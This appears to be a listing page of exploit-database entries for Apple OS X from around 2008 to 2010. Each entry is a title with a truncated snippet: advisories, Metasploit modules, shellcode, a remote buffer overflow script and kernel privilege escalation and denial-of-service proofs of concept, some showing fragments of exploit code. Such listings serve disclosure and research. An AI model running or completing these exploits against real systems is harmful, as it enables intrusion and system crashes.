[CORE-2010-0825] Apple OS X ATSServer CFF CharStrings INDEX Sign Mismatch

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://corelabs.coresecurity.com/ Apple OS X ATSServer CFF CharStrings INDEX Sign Mismatch 1. Advisory Information Title: Apple OS X ATSServer CFF CharStrings INDEX Sign Mismatch Advisory Id: CORE-2010-08...

Apple QuickTime (Mac OSX) - RTSP Content-Type Overflow (Metasploit)

$Id: quicktimertspcontenttype.rb 10617 2010-10-09 06:55:52Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

acroread: multiple code execution flaws (APSB10-21)

Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allow attackers to execute arbitrary code or cause a denial of service memory corruption via unspecified vectors, a different vulnerability than CVE-2010-2890, CVE-2010-3619, CVE-2010-3621, CVE-2010-3628,...

Apple Mac OSX Software Update - Command Execution (Metasploit)

$Id: softwareupdate.rb 10394 2010-09-20 08:06:27Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framewor...

os-x/x86 intel - execve(/bin/sh) 24 bytes

Exploit for os-x/x86 platform in category shellcode ========================================= os-x/x86 intel - execve/bin/sh 24 bytes ========================================= / Title : OSX/x86 intel - execve/bin/sh - 24 bytes Type : Shellcode Author : Simon Derouineau - simon.derouineau AT...

Apple Mac OSX EvoCam Web Server 3.6.63.6.7 - Remote Buffer Overflow

Apple Mac OSX EvoCam Web Server 3.6.63.6.7 - Remote Buffer Overflow !/usr/bin/python Exploit Title: OS X EvoCam Web Server Buffer Overflow Exploit 3.6.6 and 3.6.7 Date: 1st June 2010 Author: d1dn0t didnot A-T me.com Software Link: http://www.pizza.org/evocam.dmg Version: EvoCam 3.6.6 and 3.6.7...

Apple Mac OSX EvoCam Web Server 3.6.6/3.6.7 - Remote Buffer Overflow

!/usr/bin/python Exploit Title: OS X EvoCam Web Server Buffer Overflow Exploit 3.6.6 and 3.6.7 Date: 1st June 2010 Author: d1dn0t didnot A-T me.com Software Link: http://www.pizza.org/evocam.dmg Version: EvoCam 3.6.6 and 3.6.7 Tested on: OS X 10.5.8 Intel import socket import sys import struct fr...

Apple Mac OSX 10.6 - HFS FileSystem (Denial of Service)

Apple Mac OSX 10.6 - HFS FileSystem Denial of Service // -----BEGIN PGP SIGNED MESSAGE----- // Hash: SHA1 / Proof of Concept for CVE-2010-0105 MacOS X 10.6 hfs file system attack Denial of Service by Maksymilian Arciemowicz from SecurityReason.com...

Multiple Browser Audio Tag Denial Of Service

!/usr/bin/python Multiple Browsers Audio Tag Denial of Service Vulnerability any ogg file can be used for the DoS as long as it is a valid file on the server crash reporter for Mac seems to think this is a EXECBADACCESS This script acts as a web server to DoS connecting clients Exploit Title:...

Apple Mac OSX 10.5.6/10.5.7 - ptrace mutex Denial of Service

/ Mac OS X 10.5.6-10.6.1 ptrace mutex handling DoS ================================================== This code should be run in a loop and due to problems with mutex handling in ptrace a DoS can occur when a destroyed mutex is attempted to be interlocked by OSX kernel giving rise to a race...

Apple Mac OSX 10.5.610.5.7 - ptrace mutex Denial of Service

Apple Mac OSX 10.5.610.5.7 - ptrace mutex Denial of Service / Mac OS X 10.5.6-10.6.1 ptrace mutex handling DoS ================================================== This code should be run in a loop and due to problems with mutex handling in ptrace a DoS can occur when a destroyed mutex is attempted...

Apple Mac OSX 10.5.x - ptrace Mutex Handling Local Denial of Service

Apple Mac OSX 10.5.x - ptrace Mutex Handling Local Denial of Service // source: https://www.securityfocus.com/bid/36915/info Apple Mac OS X is prone to a local denial-of-service vulnerability that is caused by a race condition. Exploiting this issue allows local, unprivileged users to crash...

Apple Mac OSX 10.5.x - 'ptrace' Mutex Handling Local Denial of Service

// source: https://www.securityfocus.com/bid/36915/info Apple Mac OS X is prone to a local denial-of-service vulnerability that is caused by a race condition. Exploiting this issue allows local, unprivileged users to crash affected kernels, denying further service to legitimate users. / Mac OS X...

Apple Mac OSX xnu 1228.9.59 - Kernel Privilege Escalation

/ xnu-workq-v2-64.c Copyright c 2008 by Apple MACOS X xnu include include include include include include / profil defines / define PROFILITEMSIZE 64 define PROFILBLKSIZE 65536 define PROFILBLKNUM 84 / workq defines / define WQOPSQUEUEADD 1 define WORKQUEUEPRIOSMIN -2 define WORKQUEUEPRIOSMAX 2 /...

[Full-disclosure] FreeBSD/OS X kernel bug dump

All - the following are the exploits from the recent demonstrations at Apple Mac OSX = 10.4.0 local kernel root http://www.digit-labs.org/files/exploits/xnu-hfs-fcntl.c http://www.digit-labs.org/files/exploits/xnu-hfs-fcntl.sh FreeBSD = 7.0 ktimer local kernel root...

Apple Mac OSX xnu 1228.x - vfssysctl Local Kernel Denial of Service (PoC)

Apple Mac OSX xnu 1228.x - vfssysctl Local Kernel Denial of Service PoC / xnu-vfssysctl-dos.c Copyright c 2008 by Apple MACOS X xnu include include include include include include include include void hammer void arg char buf1024 255 + 1; int n, name6; memset buf, 0, sizeof buf; while 1 name0 =...

Apple Mac OSX xnu 1228.3.13 - 'Profil' Kernel Memory Leak/Denial of Service (PoC)

/ xnu-profil-leak.c Copyright c 2008 by Apple MACOS X xnu include include include include include / profil defines / define PROFILLEAKNUM 65536 128 int main int argc, char argv char buf1024; int i, n; printf "Apple MACOS X xnu \n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"; printf "...

Apple Mac OSX xnu 1228.x - 'vfssysctl' Local Kernel Denial of Service (PoC)

/ xnu-vfssysctl-dos.c Copyright c 2008 by Apple MACOS X xnu include include include include include include include include void hammer void arg char buf1024 255 + 1; int n, name6; memset buf, 0, sizeof buf; while 1 name0 = CTLVFS; name1 = 17; name2 = HFSSETPKGEXTENSIONS; name3 = int buf; name4 =...

Apple Mac OSX xnu 1228.x - hfs-fcntl Kernel Privilege Escalation

Apple Mac OSX xnu 1228.x - hfs-fcntl Kernel Privilege Escalation !/bin/bash xnu-hfs-fcntl-v2.sh Copyright c 2008 by Apple MACOS X 792.0 \n" \ "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n" if ! -f $EXPFILE ; then echo -n " compiling exploit..." gcc -Wall $EXPFILE.c -o $EXPFILE 2 /dev/nul...

Apple Mac OSX xnu 1228.3.13 - 'macfsstat' Local Kernel Memory Leak/Denial of Service

/ xnu-macfsstat-leak.c Copyright c 2008 by Apple MACOS X xnu include include include include include include include define LEAKBUFBYTESa sizeof struct statfsa define LEAKMACBYTESa sizeof inta struct macgetfsstat char buf; char pad4; int bufsize; char pad4; char mac; char pad4; int macsize; char...